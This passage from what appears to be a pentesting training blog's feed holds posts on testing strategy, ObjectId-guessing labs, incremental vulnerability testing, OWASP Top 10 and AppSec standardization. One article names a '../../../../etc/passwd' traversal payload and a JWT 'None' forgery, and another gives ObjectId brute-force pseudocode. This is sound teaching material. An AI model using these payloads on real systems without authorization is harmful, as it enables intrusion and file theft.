  Many large companies have a dedicated checklist or methodology to follow. This is the kind of result you usually expect:
</p>
<img src="/newdesign/imgs/blog-imgs/Methodology.003.jpeg" alt="depth and assets with methodology" width="80%" />
<br/>
<br/>
<p>
  This is far from perfect, but at least you are covering a minimum level of security across assets and functionalities. The depth really depends on the quality of the methodology or checklist. 
  You may get something like this:
</p>
<img src="/newdesign/imgs/blog-imgs/Methodology.004.jpeg" alt="depth and assets with methodology" width="80%" />
<br/>
<br/>
<p>
  The key point is this uniformity across all assets or functionalities. It is most likely what you want if you are buying your first pentest—a broader view of your security posture.
</p>

<h5>Demonstrating Impact</h5>
<p>
  In some cases, you may want to demonstrate impact or test critical parts of the application or assets, so you may opt for something like this:
</p>
<img src="/newdesign/imgs/blog-imgs/Methodology.006.jpeg" alt="depth and assets + bugs" width="80%" />
<br/>
<br/>
<p>
  This is also often what you get when you have really good or very specialized people looking at your application(s). It is not necessarily better; it is just another strategy for testing.
</p>

<h5>Specialized Testing</h5>
<p>
  You can also get testers or reviewers (especially for bug bounties) who are really good at one or a few specific things, and they will test those areas on all your assets or in all functionalities, 
  leveraging those aspects of your application.
</p>
<img src="/newdesign/imgs/blog-imgs/Methodology.007.jpeg" alt="depth and assets + bugs" width="80%" />
<br/>
<br/>

<h5>Deep Bugs</h5>
<p>
  Some people only test for deep bugs and don't want to test for simpler issues. There are multiple reasons for this: often a bigger impact, less chance of duplicates in bug bounties, 
  or a longer exploit lifespan for security researchers:
</p>
<img src="/newdesign/imgs/blog-imgs/Methodology.008.jpeg" alt="depth and assets + bugs" width="80%" />
<br/>
<br/>

<p>
  None of these strategies is necessarily better or worse than the others. It mostly depends on what you are testing and why you are testing.
</p>

<h5>Conclusion</h5>
<p>
  Ultimately, choosing the right strategies comes down to aligning your goals with the nature of the target. Whether you aim for breadth to gain a general security overview 
  or depth to demonstrate significant impact, your approach should be context-driven. Understanding your assets, the application's maturity, and your specific objectives 
  will help ensure you get the most value out of your testing efforts.
</p>

]]>
      </description>
      <pubDate>Tue, 04 Feb 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/pentesting-code-review-strategies</link>
      <guid>https://pentesterlab.com/blog/pentesting-code-review-strategies</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 05/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


<div class="mb-0">
  <p>OAuth2, TLS security, and AppSec eZine are celebrating their 11th year!</p>
</div>
<div class="mb-5">

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤝</span> Common OAuth Vulnerabilities</h5>
<p>An excellent article from the team at DoyenSec on one of my favorite subjects: <a href="https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html" target="_blank">Common OAuth Vulnerabilities</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">☠️ </span> The Slow Death of OCSP</h5>
<p>I know you read that wrong; I did too at first. Still a very interesting subject: <a href="https://www.feistyduck.com/newsletter/issue_121_the_slow_death_of_ocsp"  target="_blank">The Slow Death of OCSP</a>. We need more of those summaries of why things work or don't in security.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📚</span> 11th year of AppSec eZine</h5>
<p>The latest edition of AppSec eZine is here! Celebrating 11 years! Read <a href="https://pathonproject.com/zb/?871f09331bbd8d13#6ahftCLH0VYSLjlk8M+FtRW8EibTcKL+J5qO7xUUPpk=" target="_blank">issue #572</a>.</p>




<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 02 Feb 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week05-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week05-2025</guid>
    </item>
    <item>
      <title>Learn Web Pentesting: Invariants and Feedback Loops</title>
      <description>
        <![CDATA[<p>We recently released a lab on <a href="/exercises/mongo-idor-iv" target="_blank">MongoDB IDOR and how to guess ObjectIds</a>. Basically, you need to find the <code class="code-alt">ObjectId</code> of an account that was created 7 days ago. In those 7 days, a few accounts were created and deleted to make things a bit more fun.</p

<p>We have had plenty of people struggling with this lab. For good reasons, it’s not an obvious lab. You cannot just <code class="code-alt">./hack_objectid</code> to solve it, or at least not to solve it efficiently. This forces people to write their own script. Your script should take an <code class="code-alt">ObjectId</code>, retrieve the current <code class="code-alt">timestamp</code> and <code class="code-alt">counter</code> from that <code class="code-alt">ObjectId</code>, and then play with both values to try to find the admin account.</p>

<p>This is where you can see the power of two things when trying to exploit vulnerabilities: <strong>Invariants</strong> and <strong>Short Feedback Loops</strong>.</p>

<h5 class="fw-bold my-3">Without Invariants and Short Feedback Loops</h5>

<p>Basically, one of our subscribers will write a script that attacks the online lab to try to find the <code class="code-alt">ObjectId</code> to get the key to solve the challenge. It won't work the first time; they will tweak the code, run it again; it won't work, they will tweak the code again and re-run the code. The problem is that every single change costs around 10 minutes of testing. To make matters worse, you have nothing to do during those 10 minutes, so people tend to get distracted—a few YouTube Shorts, some TikTok, and maybe a bit of social media... This quickly becomes a nightmare to stay focused on solving the lab.</p>

<h5 class="fw-bold my-3">Leveraging Invariants</h5>
<p>There is a good chance that decoding and re-encoding the <code class="code-alt">ObjectId</code> may go wrong, especially if you haven’t done it before. To make sure your code does the right thing, you need to find invariants that you can leverage—basically, ways to validate your code.</p>

<p>A mathematical example would be to try to compute <code class="code-alt">3x4</code>. You should get <code class="code-alt">12</code>. Then you can do <code class="code-alt">12/3</code> and <code class="code-alt">12/4</code> to make sure you get <code class="code-alt">4</code> and <code class="code-alt">3</code>. This allows you to check that the value <code class="code-alt">12</code> is correct.</p>

<p>We want to find something similar for our <code class="code-alt">ObjectId</code>. Once we have written our decoding (let’s call it <code class="code-alt">DEC</code>) and encoding (<code class="code-alt">ENC</code>) functions, we take the <code class="code-alt">ObjectId</code> and check that:</p>

<pre><code>timestamp, uniq_value, counter = DEC(objectId) 
if ObjectId == ENC(timestamp, uniq_value, counter) 
  // WIN 
else 
  // There is something wrong with our decoding and encoding </code></pre>

<p>A very simple check, but it will prevent a lot of problems and save a lot of testing time. It doesn’t prevent issues in both functions that may cancel each other out, though. To account for this, we can leverage a third-party website or check that the timestamp we just created and decoded matches the current time (that we can retrieve using <code class="code-alt">date +%s</code> on Unix for example).</p>

<h5 class="fw-bold my-3">Short feedback loops</h5>

<p>Now that we know our encoding/decoding seems to work, it’s time to leverage Short Feedback Loops. We know that the <code class="code-alt">ObjectId</code> was created around 7 days ago. Let’s mimic that code and see if we can find it.</p>

<pre><code>timestamp, uniq_value, counter = DEC(objectId) 
timestamp -= 7*24*60*60 // 7 days 
counter -= 10 
newobjectid = ENC(timestamp, uniq_value, counter) </code></pre>
<p>We get our new <code class="code-alt">ObjectId</code> named <code>newobjectid</code>, and we can now try to find it locally by writing code that will just search for this value:</p>

<pre><code>timestamp, uniq_value, counter = DEC(objectId) 
for timestamp_delta in range(-10, 10): 
  for counter_delta in range(-12, 0): 
    test = ENC(timestamp + timestamp_delta, uniq_value, counter + counter_delta)
    if test == newobjectid 
      // WIN !! 
    ... </code></pre>

<p>This won’t guarantee that our exploit works, but it will increase the likelihood that it does and will speed up development significantly.</p>

<h5 class="fw-bold my-3">Conclusion</h5>

<p>As a security tester, you have to leverage <strong>Invariants</strong> and <strong>Short Feedback Loops</strong>. This is the best way to limit the risk of mistakes and ensure that mistakes are quickly detected. This will save you a ton of time, work, and frustration. Next time you are testing or exploiting a vulnerability, ask yourself: <strong>"Can I find invariants to check that my code does what I think it does?"</strong> and <strong>"How can I create a short feedback loop?"</strong> to speed up the process and limit frustration.</p>
]]>
      </description>
      <pubDate>Tue, 28 Jan 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/invariants-feedback-loops-web-pentesting</link>
      <guid>https://pentesterlab.com/blog/invariants-feedback-loops-web-pentesting</guid>
    </item>
    <item>
      <title>Minimal Changes Vulnerability Testing: Why Less is More in Security</title>
      <description>
        <![CDATA[<p>A lot of people, when testing for security issues, jump right into "full exploitation" mode. They might flip multiple parameters in a JWT token, change the username, and add a different algorithm—all in a single shot. While this feels powerful, it often creates unnecessary confusion and can lead to missed vulnerabilities or misleading results.</p>

<p>Instead, the principle of minimal changes is about only modifying the parameters that are absolutely necessary to test a specific idea. When everything else stays the same, you reduce the chance of something unrelated interfering with your test. This article explores why this methodical approach is so effective, using JWT manipulation and file path traversal as illustrations.</p>

<h5 class="fw-bold my-3"> The Problem with "Full Exploitation"</h5>
<p>When you decide to test multiple aspects of a vulnerability at once—like changing a username, an algorithm, and a signature in a JWT—you end up not knowing which change triggered the outcome. If the test fails, was it because the username doesn’t exist? Or did the application detect the suspicious algorithm? Or maybe the removed signature was the issue. Conversely, if it succeeds, you won’t know exactly which change made it possible.</p>

<p>Worse yet, external factors often come into play. Maybe that new username you tried is deactivated or protected by two-factor authentication. You could easily dismiss a valid bug simply because the external system behavior overshadowed your actual test. This risk of false negatives (thinking a bug doesn’t exist when it actually does) is one of the biggest downsides to the "full exploitation" approach.</p>

<h5 class="fw-bold my-3"> The Case for Minimal, Incremental Changes</h5>
<p>By focusing on the smallest possible alteration, you can zero in on the vulnerability itself without risking side effects from unrelated features or validation checks. This approach also helps you learn how the application behaves in response to incremental, low-risk modifications before escalating to more invasive payloads.</p>

<p>When each step is small, you have a clear link between action and result. You make a simple change, observe how the application responds, and draw a direct conclusion about whether you might be onto something. If you get a clue that the application is tolerating your small tweak, you can then push further—still one step at a time.</p>

<h5 class="fw-bold my-3"> Example: JWT <code>None</code> Algorithm</h5>

<strong>Full Exploitation Gone Wrong</strong>
<p>A common mistake when testing for the infamous <code  class="code-alt">None</code> algorithm vulnerability in JWTs is to change everything at once. You might switch the username from <code  class="code-alt">test</code> to <code  class="code-alt">admin</code>, change the algorithm to <code  class="code-alt">None</code>, and remove the signature in a single request. If it fails, was it because admin doesn’t exist? Because the system rejected the <code  class="code-alt">None</code> algorithm? Or maybe there was another security control interfering.</p>

<strong>Minimal Change in Action</strong>
<p>Instead, focus on the parts tied directly to the vulnerability you want to test. Keep the username as <code  class="code-alt">test</code>—something that already works. Then change the algorithm to <code  class="code-alt">None</code> and remove the signature, and see if the application accepts the token. If it does, you’ve confirmed the vulnerability without worrying about any user-specific complications.</p>

<h5 class="fw-bold my-3"> Example: File Path Traversal</h5>

<strong>Jumping to /etc/passwd</strong>
<p>When you suspect a file path traversal flaw, it’s tempting to go straight for <code class="code-alt">../../../../etc/passwd</code>. But this giant leap can trigger alarms, get blocked by intrusion detection systems, or fail due to path normalization you don’t fully understand yet. It might cause you to believe the vulnerability doesn’t exist, when in fact it’s just being thwarted by a security filter or extra validation.</p>

<strong>Starting Small</strong>
<p>A better approach is to try something like <code class="code-alt">test/../test/1234</code> if you have access to <code class="code-alt">/test/1234</code>. This might not confirm a full traversal bug, but if it isn’t rejected, you learn that path components like <code class="code-alt">../</code> aren’t fully blocked. You can then build from there, maybe moving to <code class="code-alt">another_directory/../test/1234</code> next. Each step tells you more about how the application handles paths, giving you a clearer idea of whether a more serious exploit will eventually work.</p>

<h5 class="fw-bold my-3"> Conclusion</h5>
<p>Whenever you’re testing for a particular vulnerability, ask yourself: <strong>"What’s the least amount of change I can make that would either prove or disprove this bug?"</strong> By taking small, deliberate steps, you reduce false negatives, keep your tests focused, and gather more precise information about how the application handles your input.</p>

<p>This technique not only boosts your efficiency but also eliminates the confusion caused by full-blown exploitation attempts. By taking small, deliberate steps, you build a deeper understanding of the application's behavior, resulting in more accurate results, uncovering vulnerabilities more reliably, and minimizing the risk of missing critical issues.</p>
]]>
      </description>
      <pubDate>Mon, 27 Jan 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/minimal-changes-vulnerability-testing</link>
      <guid>https://pentesterlab.com/blog/minimal-changes-vulnerability-testing</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 04/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


<div class="mb-0">
  <p>A lot of long-form content here, packed with valuable insights. Grab a cup of coffee or tea before you dive in!</p>
</div>
<div class="mb-5">

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🎮 </span> Reverse Engineering Call Of Duty Anti-Cheat</h5>
<p>If you want to learn more about CoD’s anti-cheat mechanisms, this article is great: <a href="https://ssno.cc/posts/reversing-tac-1-4-2025/" target="_blank">Reverse Engineering Call Of Duty Anti-Cheat</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">👾</span> Attacks on Maven proxy repositories</h5>
<p>A fantastic example of a CI/CD attack, showcasing how to achieve RCE in Sonatype Nexus and JFrog Artifactory: <a href="https://github.blog/security/vulnerability-research/attacks-on-maven-proxy-repositories/"  target="_blank">Attacks on Maven proxy repositories</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🎹</span> World’s First MIDI Shellcode</h5>
<p>Remote Code Execution using MIDI to run code? Yes, please: <a href="https://psi3.ru/blog/swl01u/"  target="_blank">World’s First MIDI Shellcode</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🚗</span> Hacking Subaru: Tracking and Controlling Cars via the STARLINK Admin Panel</h5>
<p>Check out this fascinating write-up by Sam and Shub on hacking a Subaru admin panel—a must-read for API hackers: <a href="https://samcurry.net/hacking-subaru"  target="_blank">Hacking Subaru: Tracking and Controlling Cars via the STARLINK Admin Panel</a>.</p>


<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📚</span> AppSec eZine #571</h5>
<p>The latest edition of AppSec eZine is here! Read <a href="https://pathonproject.com/zb/?f4f3382a17c0b203#UaIKdqYNkBjJPR9ML3Y3RDFjaGSVvO87Z/S5Y8X5KeI=" target="_blank">issue #571</a>.</p>




<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 26 Jan 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week04-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week04-2025</guid>
    </item>
    <item>
      <title>OWASP Top 10: What It Is and How to Really Use It</title>
      <description>
        <![CDATA[<p>With the new version of the famous OWASP Top 10 on the horizon, it’s a great time to talk about its true purpose, how it fits into application security, and ways we can best leverage it. It feels like a lot of people have lost sight of the original goal of this list, so let’s dive in!</p>


<h5 class="fw-bold my-3"> The OWASP Top 10 as an Awareness Tool</h5>


<p>The <a href="https://owasp.org/www-project-top-ten/" target="_blnak">OWASP Top 10</a> is often the first security resource web developers encounter. It lists what the OWASP community considers the most critical web application security risks, based on extensive industry research and reported incidents. It’s a <strong>fantastic tool</strong> to guide developers toward good security practices—<strong>but</strong> if you’re a bug bounty hunter or pentester, it might not be your most useful roadmap.</p>

<p>OWASP states:</p>
<blockquote>"The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications."</blockquote>

<p>This focus on "awareness" is crucial. The primary audience is <strong>developers</strong> who need an introduction to common security pitfalls, such as injection flaws, broken authentication, and misconfigurations. By naming the ten most critical issues at a given point in time, OWASP effectively steers developers’ attention to the vulnerabilities that matter most right now. As a result, the Top 10 has become a foundational piece of security education in many development teams.</p>


<h5 class="fw-bold my-3"> A Negative Signal for Security Researchers?</h5>

<p>For bug bounty hunters, pentesters or security researchers, it’s almost a given that these high-level categories aren’t the only places to find vulnerabilities. In fact, the success of the OWASP Top 10 means developers are now more aware of these categories and often mitigate them proactively. As a researcher, that can act as a "<strong>negative signal</strong>"—if a company heavily promotes its "OWASP Top 10 compliance", it likely has already addressed the most obvious security bugs.</p>

<p>That doesn’t mean these issues never crop up—unfortunately, they still do—but "following the OWASP Top 10" isn’t the same as being secure. Truly thorough testing is about going deeper: analyzing custom logic, design flaws, unusual third-party integrations, and obscure framework quirks that lie beyond the OWASP categories. In other words, go where <strong>developers haven’t been taught</strong> to look yet.</p>


<h5 class="fw-bold my-3"> Version Changes: XXE as an Example</h5>

<p>The ongoing updates to the Top 10 offer good insights into how certain issues evolve. For example, XML External Entities (XXE) used to have its own dedicated category in the 2017 version but is now wrapped into Security Misconfiguration in the 2021 version. This shift makes sense—many frameworks have disabled entity support by default, making XXE less common as a standalone bug class.</p>

<p>But from a security researcher’s point of view, it’s also a clue. If a vulnerability is no longer singled out, developer awareness of it may go down over time—potentially leaving an opening for attackers to exploit it. This highlights how changes in the Top 10 can actually help you decide where to look more aggressively.</p>


<h5 class="fw-bold my-3"> Why It Still Matters for Security Testers</h5>

<p>Even if your primary focus is hunting deeper, less-common vulnerabilities, knowing the Top 10 is still important. If you’re assessing a new, relatively immature codebase, there’s a decent chance it contains these "usual suspects" in some form. Each environment is different, so keeping an eye on these categories helps ensure you don’t miss low-hanging fruit.</p>

<p>Additionally, professional pentests often have formal requirements around the OWASP Top 10. Clients may request a test specifically covering those categories, or you might need to reference them explicitly in your findings. For compliance-driven organizations, "Top 10 coverage" can be a big deal—so it’s good to be fluent in that language while still pushing beyond it.</p>


<h5 class="fw-bold my-3"> Going Beyond the OWASP Top 10</h5>

<p>One of the best ways to surpass the basics is to focus on technology-specific pitfalls. Modern frameworks and libraries have unique features (and misfeatures) that can lead to vulnerabilities not explicitly listed in the Top 10. Tracking emerging or re-emerging bug classes—like prototype pollution, race conditions or complex business logic errors—can reveal issues that common checklists don’t cover.</p>

<p>It also pays to dive deeper into architecture-level flaws. Problems like insecure caching mechanisms or subtle parameter tampering can slip past both scanners and standard "Top 10" audits. Understanding how frameworks work under the hood—and how developers might be using them incorrectly—can expose flaws that most dev teams never knew to guard against.</p>

<h5 class="fw-bold my-3"> Conclusion</h5>

<p>Ultimately, the OWASP Top 10 is a phenomenal resource for exactly what it was designed for: educating and raising awareness among web developers. </p>

<p>For pentesters, researchers, and bug bounty hunters, it’s useful as a sanity check and a common language to discuss issues with clients—but it’s far from the entire security picture. Once developers fix or mitigate the most visible risks, deeper investigation is needed to uncover unique, highly impactful vulnerabilities that lie beyond what a Top 10 list can capture.</p>

<p>If you’re solely relying on the OWASP Top 10, you risk missing some of the most interesting and damaging flaws. Recognize the Top 10 for what it is—an awareness tool—and then use your expertise to go one step further. That’s where the real discoveries happen.</p>

<p>And as the OWASP Top 10 continues to evolve—shedding older categories, combining or renaming others—its value as a reference remains, but it’s still up to researchers to stay current and look beyond what most developers are already watching for.</p>



]]>
      </description>
      <pubDate>Tue, 21 Jan 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/owasp-top-10-for-appsec-pentesters</link>
      <guid>https://pentesterlab.com/blog/owasp-top-10-for-appsec-pentesters</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 03/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


<div class="mb-0">
  <p>Another quiet week!</p>
</div>
<div class="mb-5">

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📝</span> Karmada Security Audit</h5>
<p>The team at Shielder tested the Karmada project and has shared their report: <a href="https://www.shielder.com/blog/2025/01/karmada-security-audit/" target="_blank">Karmada Security Audit</a>.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📚</span> AppSec eZine #570</h5>
<p>The latest edition of AppSec eZine is here! Read <a href="https://pathonproject.com/zb/?59977c56bec8b958#e+wiAye2wuHVod3B89PrMI2UXgL0uNxqrn6WsHmxucE=" target="_blank">issue #570</a>.</p>




<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 19 Jan 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week03-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week03-2025</guid>
    </item>
    <item>
      <title>How Homogenization of the Development Process Scales Application Security</title>
      <description>
        <![CDATA[<p>In a world where software vulnerabilities and data breaches dominate headlines, application security has become a top priority. Yet achieving <strong>consistent, scalable security</strong> across multiple products and teams is easier said than done. One approach that has proven highly effective is the homogenization of the development process. By standardizing workflows, tools, and security practices, organizations can drive greater consistency, improve collaboration, and ultimately enhance their overall security posture.</p>

<p>It’s very common for companies to have an <strong>AppSec-to-developer ratio</strong> of around 1 AppSec engineer for every 100 to 200 developers. If you want to push secure code quickly, remember that AppSec capacity is probably one of your main constraints. Standardizing how teams build, review, and deploy applications makes it a lot easier for AppSec teams to keep up. Ultimately, <strong>the simpler you make their lives, the faster you ship.</strong></p>

<h5 class="fw-bold my-3">Why Homogenization Matters for Security</h5>

<h6 class="fw-bold">Consistent Standards and Best Practices</h6>
<p>When all development teams use the same coding standards, frameworks, and security guidelines, it drastically reduces variability. This uniformity makes it easier to maintain code quality and catch flaws early. For instance, if every team relies on a <strong>standardized encryption library</strong> for storing sensitive data, it prevents teams from rolling out custom, potentially vulnerable solutions. With one go-to library, AppSec can provide targeted guidance and quickly patch or upgrade as threats evolve.</p>

<h6 class="fw-bold">Streamlined Training and Onboarding</h6>
<p>A consistent development environment simplifies training for new hires and ongoing education for current staff—especially regarding security requirements. With a single set of security tools, libraries, and scanning procedures, developers learn how to handle common vulnerabilities from day one. New hires spend less time figuring out which security checks are relevant and more time writing secure code. Regular refreshers on safe coding practices and threat modeling become routine, strengthening security know-how across the entire organization.</p>

<h6 class="fw-bold">Efficient Security Reviews</h6>
<p>Security teams benefit immensely from reviewing codebases that follow similar patterns. Tools such as <strong>Static Application Security Testing (SAST)</strong> and <strong>Dynamic Application Security Testing (DAST)</strong> can be configured with fewer exceptions, speeding up the discovery and remediation of vulnerabilities. For instance, configuring automated scans for ten different frameworks is far more time-consuming than fine-tuning them for one or two.</p>

<h6 class="fw-bold">Powerful Automation</h6>
<p>In homogenous environments, <strong>CI/CD pipelines</strong> can be replicated across projects without major customizations. This consistency allows security checks—like dependency scans and container image scans—to be applied universally, catching issues early and often. Automation becomes an integral part of development rather than a last-minute add-on.</p>

<h6 class="fw-bold">Easier Knowledge Sharing</h6>
<p>When everyone speaks the same “language”—whether it’s a single framework or unified coding practices—teams can more easily share insights and best practices. A security incident or a successful mitigation strategy in one project can be swiftly adapted for others. That cross-pollination makes the entire organization stronger.</p>

<h5 class="fw-bold my-3">What Kind of Standardization Are We Talking About?</h5>
<p>Everything that makes the AppSec team’s work easier—from using the same frameworks and libraries to adopting a unified Git workflow.</p>

<h6 class="fw-bold">Git Workflow Consistency</h6>
<p>If an AppSec engineer needs to handle dozens of projects, and they’re all using different Git workflows, it can be painfully time-consuming to find the current production version, submit a patch, or audit recent changes—especially during an incident. If all teams agree on one Git workflow, there’s a single convention. Everyone follows it, and there’s no more guesswork when accessing specific code.</p>

<h6 class="fw-bold">Shared Building Blocks</h6>
<p>In the same way, if all development teams rely on the same frameworks, libraries, and internal tooling, it’s far easier to review and fix code at scale. Identifying a security gap in one shared library means you can patch it once and apply that fix everywhere.</p>

<h5 class="fw-bold my-3">Balancing Standardization and Innovation</h5>
<p>While homogenization offers many benefits, it’s important to strike a balance. Over-standardizing can limit a team’s ability to explore new ideas and technologies. Encourage targeted experimentation—perhaps through an approved “innovation track” or “pilot programs”—while maintaining a core set of standardized security practices that all teams must follow. If a team wants to adopt a new tech stack, they can present their case and demonstrate how they’ll address security in that environment.</p>

<h5 class="fw-bold my-3">How to Implement and Maintain These Standards</h5>

<h6 class="fw-bold">Define Core Frameworks and Tools</h6>
<p>Create a short list of approved or recommended frameworks, security libraries, and testing tools. This helps limit the sprawl of technologies your AppSec team needs to support.</p>

<h6 class="fw-bold">Establish a Governance Process</h6>
<p>Form a cross-functional working group—Dev leads, AppSec, Ops—to oversee updates to these standards. Decide how often you’ll review and revise the list of approved tools and workflows.</p>

<h6 class="fw-bold">Document and Communicate</h6>
<p>Keep an up-to-date internal knowledge base that explains how (and why) to use the standard workflows. Run regular training sessions or lunch-and-learns to ensure everyone stays aligned.</p>

<h6 class="fw-bold">Create an Exceptions Policy</h6>
<p>Outline a simple process for teams that need to diverge from the standard. This might involve documenting the use case, getting sign-off from AppSec, and proving there’s a plan to handle security reviews. Having an established path for exceptions actually reinforces your standardized approach because it prevents one-off decisions from sneaking in unnoticed.</p>

<h5 class="fw-bold my-3">Conclusion</h5>
<p>Homogenizing the development process isn’t just about making life easier for developers (though it certainly does). It’s about scaling application security in a way that’s both effective and sustainable. By adopting standardized tools, frameworks, and workflows, organizations reduce risks, accelerate reviews, and foster a culture of continuous improvement—ultimately delivering more secure applications to their users.</p>

<p>Remember, AppSec teams are often a bottleneck in modern development. The easier you make their life, the faster you can deploy code without compromising on security.</p>

]]>
      </description>
      <pubDate>Thu, 16 Jan 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/homogenizing-development-for-scalable-appsec</link>
      <guid>https://pentesterlab.com/blog/homogenizing-development-for-scalable-appsec</guid>
    </item>
    <item>
      <title>Networking but not TCP/IP</title>
      <description>
        <![CDATA[
<p>
When we talk about “networking” in InfoSec—especially for aspiring pentesters—most people immediately think of IP addresses, ports, and three-way handshakes. But there’s another side to “networking” that has nothing to do with TCP/IP and everything to do with forging human connections. </p>

<p>A lot of your career progress will come from meeting the right people, getting the right recommendations, and sharing your passion with like-minded folks.
</p>

<h5 class="fw-bold my-3">Why Network IRL (In Real Life)?</h5>
<p>
Sure, you can learn Python via online courses and perfect your hacking skills in isolated labs, but getting out there and meeting people face-to-face has its own special rewards:
</p>
<ul>
    <li>You can ask specific questions and receive real-time, nuanced feedback.</li>
    <li>You’ll form genuine connections and friendships that can last a lifetime.</li>
    <li>Many jobs and gigs aren’t publicly advertised; they’re shared via trusted networks.</li>
</ul>


<h5 class="fw-bold my-3">A Personal Journey</h5>
<p>
When I arrived in Australia, I didn’t know many people in the InfoSec community. Some coworkers suggested I check out a local 
<a href="https://www.2600.com/meetings">2600 meetup</a>. From there, I ended up meeting a lot of fantastic folks who later became some of my closest friends. That also paved the way for me to attend (and eventually speak at) the local monthly meetup, <a href="https://www.meetup.com/en-AU/ruxmon/events/"><strong>Ruxmon</strong></a>. These new connections even gave me the opportunity to speak at conferences—and ultimately, land jobs I wouldn’t have found otherwise. It’s a prime example of how building real relationships can directly influence your career trajectory.
</p>
<p>Experiencing the impact of local meetups firsthand made me realize how crucial they are for fostering genuine relationships—so let’s talk about some of the best places to find them.</p>
<h5 class="fw-bold my-3">Where to Go: Meetups and Conferences</h5>
<p>
Below are some go-to places for making meaningful connections in the InfoSec scene. They’re all great opportunities to learn and meet potential mentors, collaborators, or future employers.
</p>

<ul>
    <li>
        <strong>OWASP Meetups</strong>
        <p>
            <a href="https://owasp.org/chapters/">OWASP</a> (Open Web Application Security Project) chapters run monthly in many cities worldwide, and some are even online. They’re a fantastic way to learn about web application security and meet people who share similar interests.
        </p>
    </li>
    <li>
        <strong>BSides</strong>
        <p>
            <a href="https://bsides.org/w/page/12194156/FrontPage">BSides</a> conferences take place in major cities globally—usually once a year. They’re smaller and more intimate than massive cons, making it easier to strike up conversations and learn directly from presenters.
        </p>
    </li>
    <li>
        <strong>2600 Meetups</strong>
        <p>
            <a href="https://www.2600.com/meetings">2600</a> meetups also happen monthly, but the vibe is more underground. Expect a wide range of attendees, from curious newcomers to old-school hackers. Great place to soak in some hacking history and underground culture.
        </p>
    </li>
    <li>
        <strong>Local Conferences</strong>
        <p>
            Lots of cities have smaller, local InfoSec conferences or security tracks at broader tech events. Keep an eye out for any community-run events in your area.
        </p>
    </li>
</ul>

<h5 class="fw-bold my-3">Volunteering: The Overlooked Networking Goldmine</h5>
<p>
Volunteering at conferences can be a powerful way to meet organizers and speakers. Conference organizers often know a ton of people in the industry—volunteering gives you a direct line to them. You usually also get a free ticket to the event, and possibly invitations to social events where you can talk shop with speakers and sponsors.
</p>

<h5 class="fw-bold my-3">Build Connections Online, Too</h5>
<p>
In addition to in-person events, online communities can be just as valuable. Many InfoSec training companies and influencers have Discord servers or Slack channels:
</p>
<ul>
    <li>
        <p>For example, <a href="https://discord.com/invite/ymd3HkhbfE">PentesterLab</a> hosts a Discord community. It’s a great place to share tips, ask questions, or even find collaboration opportunities.</p>
    </li>
    <li>
        <p>Follow your favorite speakers, authors, and content creators; most will have an online hub where you can connect with others who have similar goals.</p>
    </li>
</ul>

<h5 class="fw-bold my-3">What If There’s No Security Meetup Where You Live?</h5>
<p>
If you don’t have an InfoSec gathering in your area, don’t fret. You can still go to local dev or DevOps meetups. Why?
</p>
<ul>
    <li>
